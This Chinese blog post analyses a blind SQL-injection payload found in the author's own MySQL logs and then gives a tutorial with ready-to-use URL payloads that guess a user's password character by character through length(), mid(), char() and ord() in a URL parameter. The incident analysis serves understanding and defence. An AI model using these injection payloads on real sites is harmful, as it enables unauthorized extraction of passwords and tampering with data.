遭遇一次MySQL猜解注入攻击

MySQL高级Hack入侵
服务器君一共花费了151.818 ms进行了4次数据库查询,努力地为您提供了这个页面。
试试阅读模式?希望听取您的建议

前些日子数据库被入侵,文章的阅读数都被纂改了,还好及时发现并做好备份。查一下 MySQL 语句记录,发现这么原来是这么一句 SQL 在捣鬼:

UPDATE table SET views = '1' WHERE id = -2441 OR (ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1))>112)#

PS:user 这个表是数据库里一个以前测试用的表,表的结构也写到博文里面,暴露了字段。

这句 SQL 为什么能那么厉害呢?我们接下来分析一下。

1. 首先是 CAST(FirstName AS CHAR) 这个子句。MySQL 的 CAST() 函数可用来获取一个类型的值,并产生另一个类型的值。具体的使用可以参看 MySQL CAST与CONVERT 函数的用法 这篇文章。我们执行一下,看看结果是什么:

mysql> SELECT CAST(FirstName AS CHAR) FROM user;
+-------------------------+
| CAST(FirstName AS CHAR) |
+-------------------------+
| Gonn                    |
| Mio                     |
| Google                  |
| yale                    |
+-------------------------+
4 rows in set

就是将 FirstName 这个字段全部转成 CHAR 类型。

2. 接下来我们再看 IFNULL(CAST(FirstName AS CHAR),0x20) 这个子句的作用。IFNULL 用法:IFNULL(expr1,expr2),如果 expr1 不是 NULL,IFNULL() 返回 expr1,否则它返回 expr2。具体可以参看《MySQL IFNULL()函数用法》

执行一下:

mysql> SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user;
+--------------------------------------+
| IFNULL(CAST(FirstName AS CHAR),0x20) |
+--------------------------------------+
| Gonn                                 |
| Mio                                  |
| Google                               |
| yale                                 |
+--------------------------------------+
4 rows in set

虽然看起来结果没啥不同,但是,它起到了一个作用。假设 CAST 转换成 CHAR 失败,它就会返回 0x20 这个值,为后面的 ORD 提供作用。

3. 接下来再看 MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1) 这个子句。MID() 这个函数就是截取字符串用的,具体可以看看《MySQL MID()函数用法》这个。

mysql> SELECT MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1);
+----------------------------------------------------------------------------------------+
| MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1) |
+----------------------------------------------------------------------------------------+
| i                                                                                      |
+----------------------------------------------------------------------------------------+
1 row in set

就得到一个字母 i。

4. 关键的子句来了:ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1))。ORD() 函数返回字符串第一个字符的 ASCII 值, 《《MySQL ORD()函数用法》》。

mysql> SELECT ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1));
+---------------------------------------------------------------------------------------------+
| ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1)) |
+---------------------------------------------------------------------------------------------+
|                                                                                         105 |
+---------------------------------------------------------------------------------------------+
1 row in set

就是 i 的 ASCII 码是105.

如果是失败,返回 0x20 这种情况:

mysql> SELECT ORD('0x20');
+-------------+
| ORD('0x20') |
+-------------+
|          48 |
+-------------+
1 row in set

两种情况,在 ASCII 码中都要比 112 前,就是下面的 hack 语句是可以执行的。

UPDATE table SET views = '1' WHERE id = -2441 OR (ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM nowamagic.`tb2` ORDER BY id LIMIT 1,1),2,1))>112)#

MySQL 猜解注入

在 MySQL 中内置了很多函数,利用它们,即使在没有联合查询功能的老版本 MySQL 上也可以做一些意想不到的操作。假设网站存在于http://www.nm.net/,我们想知道用户ID等于10的用户的密码,那么首先进行如下请求:

http://www.nm.net/index.php?id=10 and length(password)=12#

我们通过 length() 函数以及是否正确返回正常页面来确定用户密码的长度,这里我们猜解的是12位,注意数字后要有一个#号。接下来用mid()和char()暴力猜解口令的每一个字符,如果猜对了则页面返回正常:

http://www.nm.net/index.php?id=10 and mid(password,1,1)=char(0x60)#

Mid()函数原型是“Mid(str,pos,len)”,也可以用substring()函数。Char()函数的参数是ASCII值,在0~255之间,一个遍历过去就可以完成破解。

另外还可以用between()函数先判断这个字符是数字还是字母,缩小范围,加快暴力破解的速度。例如要判断字符是否是小写字母还可以用如下请求:

http://www.nm.net/index.php?id=10 and (mid(password,1,1)) between char(0x61) and char(0x7A)#

除了char()函数,还可以用ord函数来进行猜解。Ord函数可以得到字符的ASCII值,所以它也能实现类似的功能:

http://www.nm.net/index.php?id=10 and ord(mid(password,1,1))=0x6D#

用ord函数的另一个好处就是可以使用大于小于这种运算符来确定字符的范围:

http://www.nm.net/index.php?id=10 and ord(mid(password,1,1))>0x41#

就这样慢慢一步步手工猜解注入

本文地址:http://www.nowamagic.net/librarys/veda/detail/2481,欢迎访问原出处。

不打个分吗?

转载随意,但请带上本文地址:

http://www.nowamagic.net/librarys/veda/detail/2481

如果你认为这篇文章值得更多人阅读,欢迎使用下面的分享功能。
小提示:您可以按快捷键 Ctrl + D,或点此 加入收藏

大家都在看

阅读一百本计算机著作吧,少年

很多人觉得自己技术进步很慢,学习效率低,我觉得一个重要原因是看的书少了。多少是多呢?起码得看3、4、5、6米吧。给个具体的数量,那就100本书吧。很多人知识结构不好而且不系统,因为在特定领域有一个足够量的知识量+足够良好的知识结构,系统化以后就足以应对大量未曾遇到过的问题。

奉劝自学者:构建特定领域的知识结构体系的路径中再也没有比学习该专业的专业课程更好的了。如果我的知识结构体系足以囊括面试官的大部分甚至吞并他的知识结构体系的话,读到他言语中的一个词我们就已经知道他要表达什么,我们可以让他坐“上位”毕竟他是面试官,但是在知识结构体系以及心理上我们就居高临下。

所以,阅读一百本计算机著作吧,少年!

《敏捷软件开发(原则模式与实践)》 马丁 (作者), 邓辉 (译者)

《敏捷软件开发:原则模式与实践》由享誉全球的软件开发专家和软件工程大师Robert C.Martin将向您展示如何解决软件开发人员、项目经理及软件项目领导们所面临的最棘手的问题。这本综合性、实用性的敏捷开发和极限编程方面的指南,是由敏捷开发的创始人之一所撰写的。1.讲述在预算和实践要求下,软件开发人员和项目经理如何使用敏捷开发完成项目;2.使用真实案例讲解如何用极限编程来设计、测试、重构和结对编程;3.包含了极具价值的可多次使用的C++和JAVA源代码;4.重点讲述了如何使用UML和设计模式解决面向客户系统的问题。

更多计算机宝库...